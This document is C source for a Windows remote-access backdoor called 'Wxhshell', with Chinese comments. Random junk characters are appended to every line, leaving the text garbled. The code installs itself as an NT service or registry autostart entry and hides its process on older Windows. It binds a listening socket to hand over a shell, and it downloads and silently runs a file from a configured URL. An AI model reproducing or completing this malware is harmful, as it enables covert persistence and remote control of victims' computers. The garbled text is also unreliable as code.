DWORD BasePriority; rK%A=Q
ULONG UniqueProcessId; -U?Udmov
ULONG InheritedFromUniqueProcessId; Eo$7W5hJ
} PROCESS_BASIC_INFORMATION; Y70[Nz
bJo)rM:m
PROCNTQSIP NtQueryInformationProcess; y@kRJ 8d
V2I"m
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4Em mh=A
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X&[S.$_U
|-HV@c]
HANDLE hProcess; {1Z`'.FU
PROCESS_BASIC_INFORMATION pbi; YFVNkBO%
RN1q/H|
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bw31h3yB
if(NULL == hInst ) return 0; rSUarfZ<
Y?(kE` R
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K{}U[@_tS
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hy"O_Le
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @,<@y>m7
)5}=^aqd
if (!NtQueryInformationProcess) return 0; t}zffe-
+h}>UK\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -Cjc~{B>7X
if(!hProcess) return 0; !TH3oLd"
QQso<.d&
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (3DjFT3
w
FYI*44E
CloseHandle(hProcess); @O/Jy2>3H
5U&b")3IT!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K85;7R5
if(hProcess==NULL) return 0; IcM99'P(
0,a;N%K-
HMODULE hMod; 0^41dfdE
char procName[255];
G[}$s7@k
unsigned long cbNeeded; [i18$q5D
prvvr;Ib
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); phu`/1;p
@_Ko<fKSX
CloseHandle(hProcess); "lcNjyU\O
ZqhCGHy
if(strstr(procName,"services")) return 1; // 以服务启动 #,0PLU3%
YRXXutm
return 0; // 注册表启动 +>#SB"'
} v=A]#O%
'~HCYE:5
// 主模块 7~@9=e8G
int StartWxhshell(LPSTR lpCmdLine) #V[j Q Vl
{ d{cd+An
SOCKET wsl; }pJ6CW
BOOL val=TRUE; 3BuG_ild
int port=0; _d#1muZ?p|
struct sockaddr_in door; WgxGx`Y)
'?Mt*%J@=$
if(wscfg.ws_autoins) Install(); poZ04Uxo>
*f% u c
port=atoi(lpCmdLine); si:p98[w
UEZnd8
if(port<=0) port=wscfg.ws_port; p5 |.E
+FD"8 ^YC
WSADATA data; :Ve>tZeW
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R?)M#^"W
Mu,}?%
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !_Z\K$Ns
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l<5@a
(
door.sin_family = AF_INET; A>@ i
TI
door.sin_addr.s_addr = inet_addr("127.0.0.1"); -nVQB146^
door.sin_port = htons(port); 6w3z&5DY|
!^{0vFWE
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D00I!D16
closesocket(wsl); B?BB
return 1; m0}Pq{g
} B$R"Ntp
3/rEXKS
if(listen(wsl,2) == INVALID_SOCKET) { 0p"l}Fu@`
closesocket(wsl); < Y5pAStg
return 1; ^}JGWGib=+
} 3uSj5+@q6
Wxhshell(wsl); td*1
WSACleanup(); i3bH^WwE&k
,$i2vGd
return 0; zX{O"w
[D!-~]5
} k9>2d' Q
O$F<x,
// 以NT服务方式启动 mlq+Z#9
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Akar@ wh
{ en6Kdqe
DWORD status = 0; 5Lmhip
DWORD specificError = 0xfffffff; pKeK6K\8
x$:>W3?T=^
serviceStatus.dwServiceType = SERVICE_WIN32; C`qo
serviceStatus.dwCurrentState = SERVICE_START_PENDING; #&fi[|%X$
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b.h:~ATgN
serviceStatus.dwWin32ExitCode = 0; 6n[O8^
serviceStatus.dwServiceSpecificExitCode = 0; EW$.,%b1
serviceStatus.dwCheckPoint = 0; ,"MRA
serviceStatus.dwWaitHint = 0; |;~kHc$W
<SK%W=
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O*;$))<wX
if (hServiceStatusHandle==0) return; ZDMv8BP7
Ri[ v(Zf
status = GetLastError(); 'o D31\@I
if (status!=NO_ERROR) up(6/-/.7
{ C[E[|s*l
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6j*L]Sc
serviceStatus.dwCheckPoint = 0; >K|<hzZ
serviceStatus.dwWaitHint = 0; v[k;R
serviceStatus.dwWin32ExitCode = status; Ll"
Kxg
serviceStatus.dwServiceSpecificExitCode = specificError; >XTDN
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,\YlDcl':0
return; <+7]EwVcn^
} Ue:LKK1Gsr
vBFMne1h
serviceStatus.dwCurrentState = SERVICE_RUNNING; y
{&"g
serviceStatus.dwCheckPoint = 0; /wt!c?wR
serviceStatus.dwWaitHint = 0; vy:-a G
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GSHJ?}U,
} %pikt7,Z~
(8JL/S;Z$
// 处理NT服务事件,比如:启动、停止 $w,O[PIi
VOID WINAPI NTServiceHandler(DWORD fdwControl) '?j[hhfB-
{ gu~JB
switch(fdwControl) rM?O 2n
{ b-)m'B}`
case SERVICE_CONTROL_STOP: HuVx^y`
@
serviceStatus.dwWin32ExitCode = 0; p$5uS=:4`8
serviceStatus.dwCurrentState = SERVICE_STOPPED; wSy|h*a,
serviceStatus.dwCheckPoint = 0; x9QUo*MT
serviceStatus.dwWaitHint = 0; y\a@'LFL
{ t@#+vs@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5
)A(q\
} I_?+;<n
return; 1/JtL>SKE
case SERVICE_CONTROL_PAUSE: 9i6z p'
serviceStatus.dwCurrentState = SERVICE_PAUSED; fGZZ['E
break; m`;dFL7"E
case SERVICE_CONTROL_CONTINUE: (]_smsok
serviceStatus.dwCurrentState = SERVICE_RUNNING; UF_?T.Rl^
break; dBWi1vTF
case SERVICE_CONTROL_INTERROGATE: D)O2=aQ;]
break; p`+=)
n
}; [8kufMY|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I{/}pr>
} 3np |\i
_Wb3,E a=
// 标准应用程序主函数 5L?_AUL
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `\p5!Iq
Q
{ G+_Q7-o&d6
pB;U*lt
// 获取操作系统版本 1{fu
OsIsNt=GetOsVer(); [Re.sX}$Y
GetModuleFileName(NULL,ExeFile,MAX_PATH); _nUvDdEs,
[Sj _=
// 从命令行安装 =c-Y >
if(strpbrk(lpCmdLine,"iI")) Install(); /v <FH}
zl]Ic' _i
// 下载执行文件 (WCczXm )
if(wscfg.ws_downexe) { -`f 1l8LD2
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %%-?~rjI
WinExec(wscfg.ws_filenam,SW_HIDE); &c AFKYt
} EDDld6O,
;bYpMcH
if(!OsIsNt) { hL?"!
// 如果时win9x,隐藏进程并且设置为注册表启动 a<E\9DL
HideProc(); M~?2g.o'D
StartWxhshell(lpCmdLine); jqzG=/0~{
} 6"o,)e/z
else De<kkR{4
if(StartFromService()) 'DhH:PR
// 以服务方式启动 .!`y(N0hc
StartServiceCtrlDispatcher(DispatchTable); p2=+cS"HC
else w/1Os!p
// 普通方式启动 B[$L)y'-;
StartWxhshell(lpCmdLine); uo TTHj7cq
C:9a$
return 0; e{Y8m Xu
}